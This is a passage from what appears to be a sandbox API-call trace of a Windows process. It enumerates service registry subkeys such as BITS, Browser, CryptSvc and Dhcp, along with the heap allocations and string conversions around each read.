hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.348] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.348] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.348] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.348] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.349] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.349] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.349] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.349] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0169.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0169.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.350] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0169.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0169.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.351] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.351] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.351] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.351] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0169.352] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0169.353] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0169.354] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, 